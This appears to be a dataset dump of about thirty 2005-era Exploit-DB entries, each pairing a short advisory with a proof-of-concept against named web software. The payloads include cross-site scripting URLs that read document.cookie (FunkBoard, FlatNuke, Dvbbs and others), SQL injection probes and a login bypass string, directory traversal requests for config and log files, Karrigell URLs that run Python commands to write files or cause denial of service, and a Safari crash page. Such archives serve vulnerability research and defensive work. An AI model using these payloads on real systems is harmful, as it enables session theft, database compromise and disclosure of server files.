QLWD/code_shield huggingface dataset:
标题: Apple Safari 1.3 Web Browser - JavaScript Invalid Address Denial of Service EDB-ID: 26128 CVE: 2005-2594 类型: DOS 平台: OSX 发布日期: 2005-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/14528/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs certain JavaScript operations.

The exact cause of this issue is currently unknown. This BID will be updated as further information is disclosed.

This vulnerability allows remote attackers to crash affected Web browsers by causing an invalid memory access exception.

Safari version 1.3 is reported susceptible to this issue. Other versions may also be affected. 

<html>
<script name="JavaScript">
<!--

function tickTock()
{
setTimeout("tickTock()", 1000);
thisTime = new Date()
seconds = thisTime.getSeconds()
document.write(seconds);
}

// -->
</script>

<body onLoad="tickTock();">
</html> URL: https://www.exploit-db.com/exploits/26128
标题: FunkBoard 0.66 - 'reply.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26120 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info
   
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/reply.php?forumid=1&threadid=1&fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/reply.php?forumid=1&threadid=1&fbpassword="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26120
标题: FunkBoard 0.66 - 'profile.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26121 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info
    
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/profile.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/profile.php?fbpassword="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26121
标题: FunkBoard 0.66 - 'editpost.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26117 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info

FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/editpost.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/editpost.php?fbpassword="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26117
标题: PHP Lite Calendar Express 2.2 - 'auth.php?cid' SQL Injection EDB-ID: 26113 CVE: 2007-3627 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14504/info
 
Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/auth.php?cid=' URL: https://www.exploit-db.com/exploits/26113
标题: FunkBoard 0.66 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26122 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info
     
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/register.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?fmail="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?www="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?icq="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?yim="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?location="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?sex="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?interebbies="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?sig=&lt;/textarea&gt;<script>alert(document.cookie)</script>
http://www.example.com/funkboard/register.php?aim="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26122
标题: FunkBoard 0.66 - 'prefs.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26118 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info
 
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/prefs.php?fbpassword="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/prefs.php?fbusername="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26118
标题: FunkBoard 0.66 - 'newtopic.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26119 CVE: 2005-2569 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14507/info
  
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/newtopic.php?forumid=1&fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/newtopic.php?forumid=1&fbpassword="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/newtopic.php?forumid=1&subject="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26119
标题: PHP Lite Calendar Express 2.2 - 'Subscribe.php?cid' SQL Injection EDB-ID: 26114 CVE: 2007-3627 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14504/info
  
Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/subscribe.php?cid=' URL: https://www.exploit-db.com/exploits/26114
标题: PHP Lite Calendar Express 2.2 - 'login.php?cid' SQL Injection EDB-ID: 26112 CVE: 2007-3627 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14504/info

Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/login.php?cid=' URL: https://www.exploit-db.com/exploits/26112
标题: Dvbbs 7.1/8.2 - 'boardhelp.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26109 CVE: 2005-2588 类型: WEBAPPS 平台: ASP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14498/info
  
DVBBS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/boardhelp.asp?boardid=0&act=2&title=[XSS-CODE]
http://www.example.com/boardhelp.asp?boardid=0&view=faq[XSS-CODE]&act=3
http://www.example.com/boardhelp.asp?boardid=0&view=faq&act=3[XSS-CODE]
http://www.example.com/boardhelp.asp?boardid=0&act=2[XSS-CODE]&title= URL: https://www.exploit-db.com/exploits/26109
标题: Dvbbs 7.1/8.2 - 'dispuser.asp?name' Cross-Site Scripting EDB-ID: 26108 CVE: 2005-2588 类型: WEBAPPS 平台: ASP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14498/info
 
DVBBS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/dispuser.asp?name=Walltrapass[XSS-CODE] URL: https://www.exploit-db.com/exploits/26108
标题: EMC Navisphere Manager 6.x - Directory Traversal / Information Disclosure EDB-ID: 26101 CVE: 2005-2357 类型: REMOTE 平台: LINUX 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14487/info

EMC Navisphere Manager is affected by directory traversal and information disclosure vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. An attacker can also obtain the contents of arbitrary directories by appending a '.' to the end of a request. Exploitation of these vulnerabilities could lead to a loss of confidentiality and information disclosure. 

http://www.example.com/../../../../../../../EMC/NAVISPHERE/common/log/navimon.log
http://www.example.com/. URL: https://www.exploit-db.com/exploits/26101
标题: PHP-Fusion 4.0/5.0/6.0 - 'messages.php' SQL Injection EDB-ID: 26102 CVE: 2005-3159 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/14489/info

PHP-Fusion is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'messages.php' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/messages.php?msg_view=' URL: https://www.exploit-db.com/exploits/26102
标题: Dvbbs 7.1/8.2 - 'dispbbs.asp?page' Cross-Site Scripting EDB-ID: 26107 CVE: 2005-2588 类型: WEBAPPS 平台: ASP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14498/info

DVBBS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/dispbbs.asp?boardID=8&ID=550194&page=1[XSS-CODE] URL: https://www.exploit-db.com/exploits/26107
标题: Gravity Board X 1.1 - Login SQL Injection EDB-ID: 26106 CVE: 2005-2562 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14497/info

Gravity Board X (GBX) is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following demonstrates login credentials sufficient to exploit this vulnerability:
login: ' or isnull(1/0) /*
password: whatever URL: https://www.exploit-db.com/exploits/26106
标题: FlatNuke 2.5.5 - 'structure.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26098 CVE: 2005-2539 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14483/info

FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26098
标题: FlatNuke 2.5.5 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26099 CVE: 2005-2539 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14483/info
 
FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26099
标题: Invision Power Board (IP.Board) 1.0.3 - Attached File Cross-Site Scripting EDB-ID: 26104 CVE: 2005-2542 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14492/info

Invision Power Board is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect Invision Power Board 1.0.3; other 1.x versions of the application may also be affected. However, the 2.x versions of the application are reported not vulnerable to this issue. 

<html>
<body>
<script>alert('Css found By V[i]RuS');</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/26104
标题: Jax PHP Scripts 1.0/1.34/2.14/3.31 - Guestbook File Client IP Disclosure EDB-ID: 26089 CVE: 2005-4880 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14482/info
        
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/guestbook URL: https://www.exploit-db.com/exploits/26089
标题: Jax PHP Scripts 1.0/1.34/2.14/3.31 - ips2block Banned IP List Disclosure EDB-ID: 26091 CVE: 2005-4880 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14482/info
          
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
          
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/ips2block URL: https://www.exploit-db.com/exploits/26091
标题: Jax PHP Scripts 1.0/1.34/2.14/3.31 - logfile.csv User IP Disclosure EDB-ID: 26092 CVE: 2005-4880 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14482/info
           
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
           
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/formmailer/logfile.csv URL: https://www.exploit-db.com/exploits/26092
标题: Comdev eCommerce 3.0 - 'WCE.download.php' Directory Traversal EDB-ID: 26080 CVE: 2005-2543 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14479/info

Comdev eCommerce is prone to a directory traversal vulnerability.

A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../' relative to the Web application's root path. Exploitation of this vulnerability could lead to a loss of confidentiality.

http://www.vulnerable.com/oneadmin/faqsupport/wce.download.php?download=../../config.php URL: https://www.exploit-db.com/exploits/26080
标题: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'jax_linklists.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26086 CVE: 2008-6562 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14481/info
     
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/linklists/jax_linklists.php?language=English[XSS-CODE]
http://www.example.com/linklists/jax_linklists.php?do=list&list_id=0&language=english&cat=Religion[XSS-CODE] URL: https://www.exploit-db.com/exploits/26086
标题: Jax PHP Scripts 1.0/1.34/2.14/3.31 - guestbook_ips2block Banned IP List Disclosure EDB-ID: 26090 CVE: 2005-4880 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/14482/info
         
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
         
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/guestbook/guestbook_ips2block URL: https://www.exploit-db.com/exploits/26090
标题: PortailPHP 2.4 - 'index.php' SQL Injection EDB-ID: 26072 CVE: 2005-2486 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/14474/info

Portail PHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database.

This issue is reported to affect Portail PHP version 2.4; Conflicting reports indicate this information may be inaccurate. 

http://www.example.com/portailphp/index.php?affiche=Forum-read_mess&id=' URL: https://www.exploit-db.com/exploits/26072
标题: Web Content Management - 'validsession.php?strRootpath' Cross-Site Scripting EDB-ID: 26067 CVE: 2005-2488 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/14464/info

Web content management is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/Includes/validsession.php?strRootpath=');}//%20--></script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26067
标题: Karrigell 1.x/2.0/2.1 - '.KS' File Arbitrary Python Command Execution EDB-ID: 26066 CVE: 2005-2483 类型: WEBAPPS 平台: CGI 发布日期: 2005-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/14463/info

Karrigell is susceptible to an arbitrary Python command execution vulnerability. This issue is due to a design flaw that allows remote attackers to execute Python commands that they are not intended to have access to.

Attackers may exploit this vulnerability to execute arbitrary Python commands in the context of the Web server hosting the Karrigell framework. This allows remote malicious users to cause denial of service conditions, create or overwrite arbitrary files, and likely compromise the hosting computer. 

The following examples will cause a denial of service condition:
http://www.example.com/test.ks/raw_input
http://www.example.com/test.ks/file?%22*10000000&mode=w

The following example will create a file on the local filesystem on the hosting computer:
http://www.example.com/test.ks/file?%22*2&mode=w URL: https://www.exploit-db.com/exploits/26066